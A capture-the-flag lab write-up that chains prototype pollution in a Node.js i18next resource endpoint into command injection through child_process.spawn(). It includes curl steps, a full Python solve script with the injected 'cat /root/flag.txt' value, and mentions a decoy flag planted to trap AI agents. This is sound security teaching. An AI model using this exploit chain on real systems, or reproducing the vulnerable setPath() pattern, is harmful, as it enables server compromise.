Lab 407 — LinguaSync — RCE via i18n Prototype Pollution
Lab 407 — LinguaSync — RCE via i18n Prototype Pollution
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: child_process_spawn_shell_inheritance, command_injection_via_report_type_parameter, honeypot_flag_identification, i18next_resource_endpoint_abuse, prototype_pollution_via_setpath_lng_parameter, shell_property_pollution_enables_spawn_shell_mode
Summary
Walkthrough of the CUSTOM Web Lab 407 — LinguaSync — RCE via i18n Prototype Pollution. Task: Node.js/Express localization dashboard with i18next resource API and report generation. Solution: Prototype pollution via setPath() in /locales/resources (lng=proto&ns=shell sets Object.prot
Description
LinguaSync is a localization management dashboard used by development teams at SyncWave Technologies to manage translations across multiple projects. The platform provides a web interface for managing translation keys, reviewing changes, and exporting language bundles. It also includes a report generation feature that creates summaries of translation coverage.
Your objective is to find a vulnerability in the application that allows you to execute arbitrary commands on the server and read the flag stored at /root/flag.txt.
The application runs on port 8080 and uses i18next for internationalization with a resource API endpoint.
Credentials: user@test.com / password123
Node.js/Express application with EJS templates, i18next for internationalization, and nginx/1.25.5 reverse proxy. The goal is to achieve RCE and read /root/flag.txt.
Analysis
Attack Surface
-
i18next Resource API (
GET /locales/resources?lng={language}&ns={namespace}) — Returns translation bundles as JSON. Uses a customsetPath()utility to build the response object. This is the prototype pollution vector. -
Report Generation (
POST /api/reports/generate) — Generates coverage/status reports by spawning child processes viachild_process.spawn(). This is the RCE trigger. -
Settings/Translation Endpoints — Multiple POST endpoints (
/api/settings,/api/translations/import,/api/translations/resources,/api/translations/sync) that accept JSON but are dummy endpoints returning{"success":true}without side effects. These are rabbit holes. -
Decoy Flag — Every HTML page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs, designed to trap AI agents and automated scanners.
Vulnerability: Prototype Pollution via setPath()
The /locales/resources endpoint uses a setPath() utility to construct the JSON response:
javascript read-only • copy allowedconst result = {}; setPath(result, [lng, ns], bundle); res.json(result);
The setPath() function traverses the path array without checking hasOwnProperty:
javascript read-only • copy allowedfunction setPath(obj, path, value) { let current = obj; for (let i = 0; i < path.length - 1; i++) { if (!current[path[i]]) current[path[i]] = {}; current = current[path[i]]; // NO hasOwnProperty check! } current[path[path.length - 1]] = value; }
When lng=__proto__:
current = result(empty object{})current["__proto__"]evaluates toresult.__proto__which isObject.prototype(truthy — no new object created)current = Object.prototypecurrent[ns] = value→Object.prototype[ns] = value
For non-existent resource bundles, the value defaults to boolean true. This means requesting GET /locales/resources?lng=__proto__&ns=shell sets Object.prototype.shell = true.
Evidence of pollution: The response for lng=__proto__ is {} (empty JSON), while any other non-existent language returns {"lng":{"ns":true}}. The empty response occurs because JSON.stringify doesn't serialize inherited properties — the pollution happened on Object.prototype, not as an own property of the result object.
Exploitation: shell=true Enables Command Injection in spawn()
The report generation endpoint uses child_process.spawn() to run a worker process. When spawn() is called, it creates an options object that inherits from Object.prototype.
With Object.prototype.shell = true:
spawn()runs commands through/bin/sh -c "..."instead of direct execution- Shell metacharacters (
;,|,$()) in arguments become executable - The
reportTypeparameter from the request body is passed as an argument to the spawned process
This converts a simple argument injection into full command injection.
Solution
Step 1: Authenticate
bash read-only • copy allowedcurl -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Pollute Object.prototype.shell = true
bash read-only • copy allowedcurl -b cookies.txt "$TARGET/locales/resources?lng=__proto__&ns=shell" # Response: {} (empty — pollution happened on Object.prototype, not own property)
Step 3: Command Injection via Report Generation
bash read-only • copy allowedcurl -b cookies.txt -X POST "$TARGET/api/reports/generate" \ -H "Content-Type: application/json" \ -d '{"projectId":"1","reportType":"coverage; cat /root/flag.txt"}'
The flag appears in the report output.
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ LinguaSync — RCE via i18n Prototype Pollution Attack chain: 1. Pollute Object.prototype.shell = true via /locales/resources?lng=__proto__&ns=shell 2. Report generation's child_process.spawn() inherits shell=true from prototype 3. Command injection via reportType parameter: "coverage; cat /root/flag.txt" """ import requests import re import sys TARGET = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io" s = requests.Session() # Step 1: Login print("[*] Logging in...") s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }) # Step 2: Prototype pollution — set Object.prototype.shell = true # The /locales/resources endpoint uses setPath(result, [lng, ns], value) # With lng=__proto__, it traverses result.__proto__ = Object.prototype # Then sets Object.prototype.shell = true (fallback value for non-existent bundle) print("[*] Polluting Object.prototype.shell = true...") r = s.get(f"{TARGET}/locales/resources", params={ "lng": "__proto__", "ns": "shell" }) print(f"[*] Pollution: {r.status_code} (response: {r.text})") # Step 3: Command injection via report generation # With shell=true inherited by spawn(), reportType becomes injectable print("[*] Triggering command injection via report generation...") r = s.post(f"{TARGET}/api/reports/generate", json={ "projectId": "1", "reportType": "coverage; cat /root/flag.txt" }) print(f"[*] Report: {r.status_code}") print(r.text) # Extract flag match = re.search(r'FLAG\{[a-f0-9]+\}', r.text) if match: print(f"\n[+] FLAG: {match.group()}") else: print("[-] Flag not found in response")
Failed Approaches
-
POST /api/settings with __proto__ deep merge — The settings endpoint accepts JSON and returns success, but does NOT deep-merge into a config object. Dummy endpoint that stores settings without affecting
Object.prototype. -
POST /api/translations/import with i18next resource format — Returns success but doesn't call
addResourceBundle()or modify the i18next store. Dummy endpoint. -
POST /api/translations/resources, /sync, /add — All dummy endpoints returning
{"success":true}without side effects. Rabbit holes. -
EJS client+escape gadget chain — Attempted to pollute
Object.prototype.client = trueandObject.prototype.escape = IIFE_payload. Failed because the pollution only sets booleantruevalues (not strings), and the escape gadget requires a string IIFE payload. -
NODE_OPTIONS --import data URI — Attempted to set
Object.prototype.NODE_OPTIONS. Failed because the pollution value is booleantrue, not a string. -
Query string prototype pollution — Express's
qsparser with default settings does not allow__proto__pollution via query strings.
Key Takeaways / Lessons
- Mastering child_process_spawn_shell_inheritance, command_injection_via_report_type_parameter, honeypot_flag_identification, i18next_resource_endpoint_abuse, prototype_pollution_via_setpath_lng_parameter, shell_property_pollution_enables_spawn_shell_mode was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-28 • CUSTOM • Lab 407 — LinguaSync — RCE via i18n Prototype Pollution • Difficulty: Medium